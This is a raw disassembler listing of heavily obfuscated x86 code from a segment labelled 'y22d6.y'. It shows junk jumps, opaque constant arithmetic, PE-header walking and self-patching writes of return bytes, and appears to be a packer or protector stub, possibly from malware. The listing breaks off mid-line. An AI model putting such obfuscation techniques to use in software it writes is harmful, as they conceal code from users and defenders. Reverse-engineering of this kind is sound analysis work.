--------------------------------------------------------------------------- loc_443461: ; CODE XREF: y22d6.y.:0044548Aj pop esi xor eax, 7161A96Bh ror eax, 1Fh mov edx, [esp+0] jmp loc_43782E ; --------------------------------------------------------------------------- loc_443473: ; CODE XREF: sub_448EB6:loc_448854j add edi, 9FFF93BCh mov [edi], eax pop edi lea eax, sub_43BC16 jmp loc_443D6B ; --------------------------------------------------------------------------- loc_443487: ; CODE XREF: sub_448EB6:loc_4389D8j ; y22d6.y.:00443CB4j add eax, 0FA13219Eh push offset sub_44CA21 jmp loc_44D40C ; --------------------------------------------------------------------------- loc_443497: ; CODE XREF: sub_4499F4-5745j jz loc_44C0B1 jmp loc_44CE93 ; --------------------------------------------------------------------------- loc_4434A2: ; CODE XREF: sub_439051:loc_4415EBj and esi, 0CB80910Bh sub esi, 187C0C61h test esi, 100000h jmp loc_44D489 ; --------------------------------------------------------------------------- loc_4434B9: ; CODE XREF: sub_44485F:loc_442321j jp nullsub_59 loc_4434BF: ; CODE XREF: sub_440280:loc_4479A0j popf ror ebx, 16h sbb ecx, 0BD37A8FFh jmp loc_44CABB ; --------------------------------------------------------------------------- loc_4434CE: ; CODE XREF: sub_437FD8:loc_44DDFCj mov [esi], ecx jmp loc_438A32 ; --------------------------------------------------------------------------- loc_4434D5: ; CODE XREF: sub_4476DE:loc_440B8Cj and ecx, 618C77CBh loc_4434DB: ; CODE XREF: sub_44193A:loc_44A8DBj add ecx, 0FF35BE9Ah mov [ecx], eax pop ecx lea eax, sub_446425 mov byte ptr [eax], 0C3h jmp loc_4426DE ; --------------------------------------------------------------------------- loc_4434F2: ; CODE XREF: sub_446425+6j mov eax, [esp+14h+var_14] jmp loc_43CC6F ; --------------------------------------------------------------------------- loc_4434FA: ; CODE XREF: sub_44B635:loc_43DFFFj ; y22d6.y.:loc_44A6A7j jl loc_448C66 loc_443500: ; CODE XREF: sub_444183+8542j jmp loc_4411CC ; --------------------------------------------------------------------------- loc_443505: ; CODE XREF: sub_44AA5D:loc_449DA2j jmp loc_438D10 ; --------------------------------------------------------------------------- jno loc_445E64 jmp loc_43FA42 ; --------------------------------------------------------------------------- loc_443515: ; CODE XREF: sub_44485F+7D50j jnz loc_44735E mov eax, ebx ror ebx, 1Eh xor ebp, 8D49DC77h jmp loc_43863C ; --------------------------------------------------------------------------- loc_44352B: ; CODE XREF: sub_4483BF-76F8j or ecx, 6031E76Fh rol ecx, 1Dh xor ecx, 0E60AC3C1h call sub_44807C loc_44353F: ; CODE XREF: sub_440CE6+AF08j jmp loc_43A41E ; --------------------------------------------------------------------------- and edx, 0D39EAA98h pushf cmp ebx, 4EB3D4ECh jmp loc_43D1F0 ; --------------------------------------------------------------------------- loc_443556: ; CODE XREF: sub_44807C-1091Bj jz loc_44024C jmp loc_43A43C ; --------------------------------------------------------------------------- loc_443561: ; CODE XREF: sub_4384B4+260Ej xor eax, ebp loc_443563: ; CODE XREF: sub_4384B4:loc_43AAB9j and esi, 0E37CF189h or esi, 4B6C0BC7h test esi, 10000h jmp loc_4474A8 ; --------------------------------------------------------------------------- loc_44357A: ; CODE XREF: sub_44BCC2:loc_438D4Fj push edi mov edi, eax xchg edi, [esp+0] push 670A4177h jmp loc_4442DB ; --------------------------------------------------------------------------- loc_44358A: ; CODE XREF: sub_448CFE+7j mov eax, ds:dword_444BA0 or eax, eax jnz loc_43806D jmp loc_4479D7 ; --------------------------------------------------------------------------- loc_44359D: ; CODE XREF: y22d6.y.:00448DA6j jge loc_438803 jo loc_440533 shl edx, 3 loc_4435AC: ; CODE XREF: y22d6.y.:loc_447971j add edx, 0B7A0A07Fh jmp loc_43969C ; --------------------------------------------------------------------------- loc_4435B7: ; CODE XREF: sub_4432B8+Cj pop ebp mov eax, ds:dword_4413AC loc_4435BE: ; CODE XREF: sub_43F750:loc_44A7DEj or eax, eax jnz loc_443E28 jmp loc_43D020 sub_4432B8 endp ; sp-analysis failed ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_270. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_43AB31 loc_4435CC: ; CODE XREF: sub_43AB31+A7DBj jmp nullsub_76 ; END OF FUNCTION CHUNK FOR sub_43AB31 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_440D11 loc_4435D1: ; CODE XREF: sub_440D11+16j jmp loc_44638B ; END OF FUNCTION CHUNK FOR sub_440D11 ; =============== S U B R O U T I N E ======================================= sub_4435D6 proc near ; CODE XREF: y22d6.y.:loc_43E424p ; sub_43E7D1+4p ... ; FUNCTION CHUNK AT 0043AF89 SIZE 0000000E BYTES push 77D56175h pop eax or eax, 91B7F91h call sub_43E602 loc_4435E7: ; CODE XREF: sub_44529A:loc_4405A2j jnz loc_43AF89 loc_4435ED: ; CODE XREF: sub_441C04-9522j jmp nullsub_62 sub_4435D6 endp ; --------------------------------------------------------------------------- rol edi, 1Fh or edi, 781B97DFh jmp loc_43AF7B ; --------------------------------------------------------------------------- loc_443600: ; CODE XREF: y22d6.y.:0043FA76j mov byte ptr [ebx], 87h push offset sub_44DF73 jmp locret_44A386 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_441F08 loc_44360D: ; CODE XREF: sub_441F08:loc_446FD5j jz loc_440899 jmp loc_441BEE ; END OF FUNCTION CHUNK FOR sub_441F08 ; --------------------------------------------------------------------------- locret_443618: ; CODE XREF: y22d6.y.:0044118Cj retn ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_43E15A loc_443619: ; CODE XREF: sub_43E15A:loc_43E160j pop edx and edx, 0D0BB3DCBh sub edx, 0C1556B28h add edx, 70FF2156h popf jmp loc_44273F ; END OF FUNCTION CHUNK FOR sub_43E15A ; --------------------------------------------------------------------------- mov eax, 24CC2B1h call sub_43CA1A mov ds:dword_41E19C, eax lea eax, nullsub_370 jmp loc_4455E8 ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_176. PRESS KEYPAD "+" TO EXPAND] ; =============== S U B R O U T I N E ======================================= sub_44364E proc near ; CODE XREF: sub_439C96:loc_440310p ; y22d6.y.:004462BEj arg_0 = dword ptr 4 ; FUNCTION CHUNK AT 00438681 SIZE 00000014 BYTES ; FUNCTION CHUNK AT 0043A344 SIZE 00000008 BYTES ; FUNCTION CHUNK AT 0043A5FA SIZE 00000011 BYTES ; FUNCTION CHUNK AT 0043E6E6 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00441834 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 004436F1 SIZE 0000001A BYTES ; FUNCTION CHUNK AT 0044C069 SIZE 0000000B BYTES xchg esi, [esp+0] pop esi xchg eax, [esp-4+arg_0] mov edx, eax push edx push 76914675h pop edx xor edx, 395DCCD8h jmp loc_43A5FA sub_44364E endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_439051 loc_443669: ; CODE XREF: sub_439051:loc_4488CDj and esi, 76E9968h add esi, 97004D0Ah loc_443675: ; CODE XREF: sub_44B17B:loc_440A1Dj ; sub_43B252:loc_4415F6j xor eax, esi pop esi sub eax, 0F84D6AB7h jmp loc_43F655 ; --------------------------------------------------------------------------- loc_443683: ; CODE XREF: sub_439051j mov eax, ds:dword_43DF48 call sub_44156E loc_44368E: ; CODE XREF: sub_449E26+14j jmp sub_44E2B6 ; END OF FUNCTION CHUNK FOR sub_439051 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_44AEDA loc_443693: ; CODE XREF: sub_44AEDA-3801j pop edx sub edx, 14AEC0B0h add edx, 0DC64D0A6h xor edx, 4F1626A7h jmp loc_441B85 ; END OF FUNCTION CHUNK FOR sub_44AEDA ; --------------------------------------------------------------------------- loc_4436AB: ; CODE XREF: y22d6.y.:00447815j mov eax, 0CE6B079Ah ; START OF FUNCTION CHUNK FOR sub_43B09B loc_4436B0: ; CODE XREF: sub_43B09B:loc_440F52j call sub_43CA1A push ecx push 33D5D6C7h pop ecx rol ecx, 1Ch jmp loc_44AA19 ; END OF FUNCTION CHUNK FOR sub_43B09B ; --------------------------------------------------------------------------- loc_4436C4: ; DATA XREF: sub_43D025+CEECo mov ecx, [ecx] call sub_444B7C ; START OF FUNCTION CHUNK FOR sub_44C322 loc_4436CB: ; CODE XREF: sub_44C322+1Bj jmp loc_446136 ; END OF FUNCTION CHUNK FOR sub_44C322 ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_38. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_44B1D2 loc_4436D1: ; CODE XREF: sub_44B1D2+12j jmp loc_446F66 ; END OF FUNCTION CHUNK FOR sub_44B1D2 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_444581 loc_4436D6: ; CODE XREF: sub_444581-530Fj jmp sub_44D088 ; END OF FUNCTION CHUNK FOR sub_444581 ; =============== S U B R O U T I N E ======================================= sub_4436DB proc near ; CODE XREF: y22d6.y.:0043823Aj ; sub_43B01D:loc_43B02Bp ; FUNCTION CHUNK AT 0043B4F2 SIZE 00000007 BYTES ; FUNCTION CHUNK AT 00447AD4 SIZE 00000005 BYTES xchg esi, [esp+0] pop esi mov eax, ds:dword_441974 call sub_4480DE mov esp, ebp pop ebp loc_4436EC: ; CODE XREF: y22d6.y.:loc_448C9Dj jmp loc_447AD4 sub_4436DB endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_44364E loc_4436F1: ; CODE XREF: sub_44364E:loc_44C06Fj mov byte ptr [eax], 6Ch inc dword ptr [ebp-20h] mov eax, [ebp-20h] mov byte ptr [eax], 6Ch inc dword ptr [ebp-20h] mov eax, [ebp-20h] mov byte ptr [eax], 0 jmp loc_441834 ; END OF FUNCTION CHUNK FOR sub_44364E ; =============== S U B R O U T I N E ======================================= sub_44370B proc near ; CODE XREF: y22d6.y.:0043E2C4j ; sub_448EB6:loc_44524Fp ; FUNCTION CHUNK AT 0044BA54 SIZE 00000005 BYTES xchg eax, [esp+0] pop eax call sub_44D293 push eax jmp loc_44BA54 sub_44370B endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_44371A proc near ; CODE XREF: sub_43AC88j ; FUNCTION CHUNK AT 00438031 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0043A446 SIZE 0000001A BYTES ; FUNCTION CHUNK AT 0043B3A6 SIZE 0000000E BYTES ; FUNCTION CHUNK AT 0043D75F SIZE 0000000B BYTES ; FUNCTION CHUNK AT 0043D76F SIZE 00000008 BYTES ; FUNCTION CHUNK AT 00442586 SIZE 00000007 BYTES ; FUNCTION CHUNK AT 004449F5 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00445BC7 SIZE 00000014 BYTES ; FUNCTION CHUNK AT 00449C58 SIZE 0000000E BYTES ; FUNCTION CHUNK AT 0044A80E SIZE 0000000B BYTES push ebp mov ebp, esp push ecx mov esp, ebp jmp loc_445BC7 sub_44371A endp ; sp-analysis failed ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_258. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- loc_443726: ; CODE XREF: y22d6.y.:00444C60j jmp loc_445B60 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_43E86C loc_44372B: ; CODE XREF: sub_43E86C-4F7Cj add eax, 4 mov ebx, [eax] add eax, 4 mov edi, [eax] push edi push 0DB7D4244h pop edi or edi, 1AF2721Ch jmp loc_43DC0F ; END OF FUNCTION CHUNK FOR sub_43E86C ; --------------------------------------------------------------------------- loc_443747: ; CODE XREF: y22d6.y.:0043AA58j xchg edx, [ebp+0] ; =============== S U B R O U T I N E ======================================= sub_44374A proc near ; CODE XREF: sub_44E33C+Cp ; FUNCTION CHUNK AT 004375CC SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00440178 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00440908 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 004424BA SIZE 0000001C BYTES ; FUNCTION CHUNK AT 00442888 SIZE 0000000C BYTES xchg esi, [esp+0] pop esi or eax, eax jnz loc_448E78 jmp loc_440178 sub_44374A endp ; sp-analysis failed ; --------------------------------------------------------------------------- loc_44375B: ; CODE XREF: y22d6.y.:loc_439208j ; y22d6.y.:00439214j and edx, 0EF08D314h add edx, 8041CE38h mov [edx], eax pop edx lea eax, nullsub_331 mov byte ptr [eax], 0C3h jmp nullsub_331 ; =============== S U B R O U T I N E ======================================= sub_443778 proc near ; CODE XREF: sub_40FA83+47p ; y22d6.y.:0044031Aj ... var_4 = dword ptr -4 ; FUNCTION CHUNK AT 0043881F SIZE 00000014 BYTES ; FUNCTION CHUNK AT 0043CD16 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00440320 SIZE 00000010 BYTES ; FUNCTION CHUNK AT 004407CB SIZE 0000000B BYTES ; FUNCTION CHUNK AT 004459C3 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00449942 SIZE 00000014 BYTES ; FUNCTION CHUNK AT 0044A334 SIZE 00000005 BYTES push ebp mov ebp, esi jmp loc_43CD16 sub_443778 endp ; --------------------------------------------------------------------------- loc_443780: ; CODE XREF: y22d6.y.:00438EABj test ebx, edi jmp loc_4371D1 ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_328. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_44B17B loc_443788: ; CODE XREF: sub_44B17B-98FEj jmp nullsub_167 ; END OF FUNCTION CHUNK FOR sub_44B17B ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_43DF56 loc_44378D: ; CODE XREF: sub_43DF56+Bj jmp nullsub_63 ; END OF FUNCTION CHUNK FOR sub_43DF56 ; --------------------------------------------------------------------------- loc_443792: ; CODE XREF: y22d6.y.:0043D1DEj jmp loc_43AA38 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_43E81B loc_443797: ; CODE XREF: sub_43E81B+F824j jnz loc_43B74E jmp loc_44D4E7 ; END OF FUNCTION CHUNK FOR sub_43E81B ; --------------------------------------------------------------------------- jmp ds:off_41E098 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_44313A loc_4437A8: ; CODE XREF: sub_44313A-AF4Fj ; sub_44A0A7:loc_440C8Cj ... jnb loc_4381F0 pop edx mov eax, [esp-10h+arg_C] push ecx jmp loc_44977B ; END OF FUNCTION CHUNK FOR sub_44313A ; =============== S U B R O U T I N E ======================================= sub_4437B8 proc near ; DATA XREF: y22d6.y.:loc_44BB37o add esi, 0CDBCAE4Bh xchg esi, [esp+0] jmp loc_4382EE sub_4437B8 endp ; --------------------------------------------------------------------------- loc_4437C6: ; CODE XREF: y22d6.y.:loc_4383B5j ; y22d6.y.:0043A4DFj call sub_445629 loc_4437CB: ; DATA XREF: y22d6.y.:004474D0o imul byte ptr [edx] cmp al, 0A4h jz loc_442058 jmp loc_43C742 ; --------------------------------------------------------------------------- loc_4437DA: ; DATA XREF: sub_44C8BF+9o xor eax, eax mov [ebp-0Ch], eax cmp dword ptr [ebp-4], 0 jz loc_44B404 mov eax, [ebp-4] add eax, 3Ch mov eax, [eax] add eax, [ebp-4] jmp loc_44E32A ; --------------------------------------------------------------------------- loc_4437F9: ; DATA XREF: y22d6.y.:0043F7BEo push edi ; START OF FUNCTION CHUNK FOR sub_44C222 loc_4437FA: ; CODE XREF: sub_44C222:loc_447067j call sub_4424AC ; END OF FUNCTION CHUNK FOR sub_44C222 ; START OF FUNCTION CHUNK FOR sub_44B3C9 loc_4437FF: ; CODE XREF: sub_44B3C9+7j jmp loc_43B37F ; END OF FUNCTION CHUNK FOR sub_44B3C9 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4394F3 loc_443804: ; CODE XREF: sub_4394F3+19j jmp loc_43D4D4 ; END OF FUNCTION CHUNK FOR sub_4394F3 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_437B10 loc_443809: ; CODE XREF: sub_437B10+14j jl loc_43A462 loc_44380F: ; CODE XREF: y22d6.y.:00444E81j jmp loc_4458B7 ; END OF FUNCTION CHUNK FOR sub_437B10 ; --------------------------------------------------------------------------- xor ebx, ecx jmp loc_43A460 ; --------------------------------------------------------------------------- loc_44381B: ; DATA XREF: sub_443778-3452o pop edx mov eax, [esp] push edx push edx push 4CEB7B6Dh pop edx jmp loc_4459D8 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_43C712 loc_44382C: ; CODE XREF: sub_43C712-4AAFj xor ebp, 49D7D83h or ebp, 0B515FA31h mov ebp, [edi] jmp loc_440B05 ; END OF FUNCTION CHUNK FOR sub_43C712 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_448EB6 loc_44383F: ; CODE XREF: sub_448EB6:loc_43B623j ; sub_448EB6-6A91j call sub_43760A push 9C8BDB28h pop edx rol edx, 0Fh and edx, 0AD31353Dh add edx, 6AA3BDCAh call sub_44D293 push offset loc_448F77 jmp loc_449264 ; END OF FUNCTION CHUNK FOR sub_448EB6 ; --------------------------------------------------------------------------- jmp ds:off_41E208 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_44CDB7 loc_44386E: ; CODE XREF: sub_44CDB7-B07Fj jmp loc_43CD4D ; END OF FUNCTION CHUNK FOR sub_44CDB7 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_43F35E loc_443873: ; CODE XREF: sub_43F35E+Ej jmp loc_44DE68 ; END OF FUNCTION CHUNK FOR sub_43F35E ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_43872E loc_443878: ; CODE XREF: y22d6.y.:0043849Aj ; sub_43872E+65AAj ... pop edx js loc_43A8C8 mov eax, [esp+0] push edx call sub_438F17 mov eax, 649E33C4h jmp loc_44182F ; END OF FUNCTION CHUNK FOR sub_43872E ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_368. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- xchg edi, [eax] jmp sub_449A8B ; --------------------------------------------------------------------------- jns loc_437D98 shl edi, 7 jmp sub_44B144 ; =============== S U B R O U T I N E ======================================= sub_4438A8 proc near ; CODE XREF: y22d6.y.:004426E5j ; sub_439A90:loc_4474C0p xchg edi, [esp+0] pop edi push 6781B43h pop eax add eax, 6A671BE0h xor eax, 0CCB9AC92h push offset loc_43D228 jmp nullsub_65 sub_4438A8 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_439F5A loc_4438C8: ; CODE XREF: sub_439F5A-28AEj ; y22d6.y.:004376C2j rol ecx, 10h or ecx, 1AD154F4h add ecx, 0FD5FADACh add ecx, ebp add ecx, 23CAF25Ch mov ecx, [ecx] jmp loc_4380C3 ; END OF FUNCTION CHUNK FOR sub_439F5A ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_228. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_43D16D loc_4438E7: ; CODE XREF: sub_43D16D+Ej jmp sub_441651 ; END OF FUNCTION CHUNK FOR sub_43D16D ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4416F3 loc_4438EC: ; CODE XREF: sub_4416F3:loc_441D27j mov ecx, edi pop edi add ecx, 3DCA3294h sub ecx, 1042DD12h js loc_43ED98 loc_443901: ; CODE XREF: sub_43B167+9j jmp sub_44E1BD ; END OF FUNCTION CHUNK FOR sub_4416F3 ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_443906 proc near ; DATA XREF: sub_44ABDD-11636o xchg ecx, [esp+0] mov ebp, esp push offset loc_43876A jmp loc_449017 sub_443906 endp ; =============== S U B R O U T I N E ======================================= sub_443915 proc near ; DATA XREF: y22d6.y.:loc_441187o add edx, 0EDF32D9Eh xchg edx, [esp+0] jmp sub_43EF0B sub_443915 endp ; --------------------------------------------------------------------------- loc_443923: ; CODE XREF: y22d6.y.:loc_437519j lea eax, sub_44D3B1 push offset loc_44AD72 jmp locret_44244F ; --------------------------------------------------------------------------- loc_443933: ; DATA XREF: sub_43EF0B-2383o xchg edx, [esp] push edi push 5E0E9575h pop edi and edi, 0E1C50381h jmp loc_44A160 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4432B8 loc_443948: ; CODE XREF: sub_4432B8-BD64j pop ebp retn ; END OF FUNCTION CHUNK FOR sub_4432B8 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4449FA loc_44394A: ; CODE XREF: sub_4449FA-4349j jmp sub_44ABDD ; END OF FUNCTION CHUNK FOR sub_4449FA ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_43D5FE loc_44394F: ; CODE XREF: sub_43D5FE+5j jmp nullsub_66 ; END OF FUNCTION CHUNK FOR sub_43D5FE ; =============== S U B R O U T I N E ======================================= sub_443954 proc near ; CODE XREF: sub_43D025-2F7Fp ; y22d6.y.:0043E588p ... jz sub_448B90 push offset sub_448B71 jmp nullsub_67 sub_443954 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4431CD loc_443964: ; CODE XREF: sub_4431CD+17EEj cmp esi, eax jmp loc_4421FB ; END OF FUNCTION CHUNK FOR sub_4431CD ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_444427 loc_44396B: ; CODE XREF: sub_444427-5566j jl loc_4482ED sub ebx, 0C6C82284h jmp loc_44250C ; END OF FUNCTION CHUNK FOR sub_444427 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_43AF5B loc_44397C: ; CODE XREF: sub_43AF5B:loc_444F5Aj jz loc_437CBD xor ebp, ecx jmp loc_442F8D ; END OF FUNCTION CHUNK FOR sub_43AF5B ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_43F422 loc_443989: ; CODE XREF: sub_43F422+D1EFj add [ebp-8], eax mov eax, [ebp-8] shr eax, 0Bh xor [ebp-8], eax jmp loc_43B6A0 ; END OF FUNCTION CHUNK FOR sub_43F422 ; --------------------------------------------------------------------------- add eax, 10E14CD3h jmp sub_442DFF ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_43AD2F loc_4439A5: ; CODE XREF: sub_43AD2F+E6E6j mov ecx, 0B302232Ah jno loc_44A839 jmp loc_4373C9 ; END OF FUNCTION CHUNK FOR sub_43AD2F ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_43FFE2 loc_4439B5: ; CODE XREF: sub_43FFE2:loc_44AE9Bj mov edx, [edx] js loc_440E27 sub edx, eax mov ecx, [ebp-4] mov eax, 1 shl eax, cl jmp loc_440081 ; END OF FUNCTION CHUNK FOR sub_43FFE2 ; --------------------------------------------------------------------------- push 0B181DE39h pop eax add eax, 0A04EDE89h and eax, 61BEEB13h xor eax, 0E225906Bh add eax, 0FD6A0CF1h call sub_444581 call sub_43DD78 loc_4439F6: ; CODE XREF: y22d6.y.:0044E165j jmp loc_44C729 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4404D1 loc_4439FB: ; CODE XREF: sub_4404D1+Fj sub ebx, 10000h mov eax, [ebx] neg eax cmp ax, 0A5B3h jnz loc_4404DA jmp loc_44CFCA ; END OF FUNCTION CHUNK FOR sub_4404D1 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_43704E loc_443A14: ; CODE XREF: sub_43704E:loc_44C2E5j pop ebx rol ebx, 1Bh or ebx, 0D288DBFFh cmp ebx, 495DACD5h jmp loc_44455C ; END OF FUNCTION CHUNK FOR sub_43704E ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4463CE loc_443A29: ; CODE XREF: sub_4463CE:loc_4463E0j mov eax, edx nop mov eax, [esp+0] call sub_4480DE jmp nullsub_86 ; END OF FUNCTION CHUNK FOR sub_4463CE ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_441191 loc_443A39: ; CODE XREF: sub_441191+5029j ror eax, 1 sub eax, 23AC822Fh ror eax, 0Eh jmp loc_440745 ; END OF FUNCTION CHUNK FOR sub_441191 ; --------------------------------------------------------------------------- loc_443A49: ; CODE XREF: y22d6.y.:004451D3j pushf cmp ebx, eax jmp loc_43D581 ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_111. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- loc_443A52: ; CODE XREF: y22d6.y.:00444AF3j jmp loc_44CAFF ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_43872E loc_443A57: ; CODE XREF: sub_43872E:loc_43A490j jmp loc_439DCF ; END OF FUNCTION CHUNK FOR sub_43872E ; =============== S U B R O U T I N E ======================================= sub_443A5C proc near ; DATA XREF: sub_43CFF2:loc_445CCCo add eax, esi xchg ecx, [esp+0] mov esi, ecx pop ecx jmp loc_443C0D sub_443A5C endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_44B635 loc_443A69: ; CODE XREF: sub_4452EE:loc_439A05j ; sub_44B635j mov eax, ds:dword_444394 or eax, eax jnz loc_43708E jmp loc_44B3C4 ; END OF FUNCTION CHUNK FOR sub_44B635 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_43E5C2 loc_443A7C: ; CODE XREF: sub_43E5C2+F680j cmp ebp, 61F13433h jmp loc_44548F ; END OF FUNCTION CHUNK FOR sub_43E5C2 ; --------------------------------------------------------------------------- loc_443A87: ; DATA XREF: sub_43A28E+1188Do add ebx, 0DC62341Bh xor eax, ebx pop ebx sub eax, 2CE5B273h push ecx jmp loc_43C48D ; --------------------------------------------------------------------------- loc_443A9C: ; CODE XREF: y22d6.y.:00437025j mov eax, 0C7CC2482h loc_443AA1: ; CODE XREF: y22d6.y.:loc_4453A4j call sub_43CA1A push ecx push 341767A1h pop ecx ; START OF FUNCTION CHUNK FOR sub_43C7C1 loc_443AAD: ; CODE XREF: sub_43C7C1:loc_44BD3Cj or ecx, 0B1884684h jmp loc_4401F0 ; END OF FUNCTION CHUNK FOR sub_43C7C1 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_438BEC loc_443AB8: ; CODE XREF: y22d6.y.:loc_437E56j ; sub_438BEC+92B9j mov edx, [ebp+8] mov [edx-8], eax loc_443ABE: ; CODE XREF: sub_438BEC+D8Dj ; sub_43B98D:loc_442215j ... mov eax, [ebp-4] mov [ebp-8], eax jmp loc_4482B1 ; END OF FUNCTION CHUNK FOR sub_438BEC ; =============== S U B R O U T I N E ======================================= sub_443AC9 proc near ; DATA XREF: y22d6.y.:loc_448EACo var_4 = dword ptr -4 ; FUNCTION CHUNK AT 0044554F SIZE 0000001A BYTES xchg eax, [esp+0] mov edx, eax push eax push 30BA44F7h pop eax sub eax, 0D0C26907h jmp loc_44554F sub_443AC9 endp ; --------------------------------------------------------------------------- loc_443AE0: ; CODE XREF: y22d6.y.:00438503j test ebp, eax loc_443AE2: ; CODE XREF: y22d6.y.:loc_44AF83j jmp loc_438CF4 ; --------------------------------------------------------------------------- loc_443AE7: ; CODE XREF: y22d6.y.:00438675j ja loc_43CAA8 xchg esi, [ebx] jmp sub_43B878 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_44439D loc_443AF4: ; CODE XREF: sub_44439D:loc_440667j jz loc_445840 jmp loc_446170 ; END OF FUNCTION CHUNK FOR sub_44439D ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_443AFF proc near ; DATA XREF: sub_4453AA+5o var_8 = dword ptr -8 ; FUNCTION CHUNK AT 0043CC84 SIZE 0000000D BYTES ; FUNCTION CHUNK AT 004470FB SIZE 00000005 BYTES mov ebp, esp push ecx push eax mov eax, ecx jmp loc_4470FB sub_443AFF endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_44A095 loc_443B0A: ; CODE XREF: sub_44A095-C35Bj jnb loc_43E060 xchg ecx, edx sbb ebx, 921F18BEh not ebp jmp loc_44A7DE ; END OF FUNCTION CHUNK FOR sub_44A095 ; =============== S U B R O U T I N E ======================================= sub_443B1F proc near ; DATA XREF: sub_4496E3+136o xchg ebp, [esp+0] push 3502E52Eh pop edx rol edx, 17h sub edx, 208C33AAh rol edx, 10h add edx, 0B27B7DEFh jmp loc_440FC6 sub_443B1F endp ; --------------------------------------------------------------------------- loc_443B3F: ; CODE XREF: y22d6.y.:loc_440740j pop eax jns loc_44CC33 mov eax, [esp] push edx push eax mov eax, esi xchg eax, [esp] jmp loc_440ECC ; =============== S U B R O U T I N E ======================================= sub_443B55 proc near ; CODE XREF: y22d6.y.:00442525j ; y22d6.y.:00444ACDp arg_0 = dword ptr 4 xchg edx, [esp+0] pop edx xchg ecx, [esp-4+arg_0] mov esi, ecx pop ecx and esi, 1AB06A0Bh rol esi, 9 sub_443B55 endp ; sp-analysis failed ; START OF FUNCTION CHUNK FOR sub_44633F loc_443B68: ; CODE XREF: sub_44633F:loc_43DB40j jmp loc_440763 ; END OF FUNCTION CHUNK FOR sub_44633F ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_82. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4449FA loc_443B6E: ; CODE XREF: sub_4449FA+5AC9j jmp loc_445444 ; END OF FUNCTION CHUNK FOR sub_4449FA ; --------------------------------------------------------------------------- ; START OF 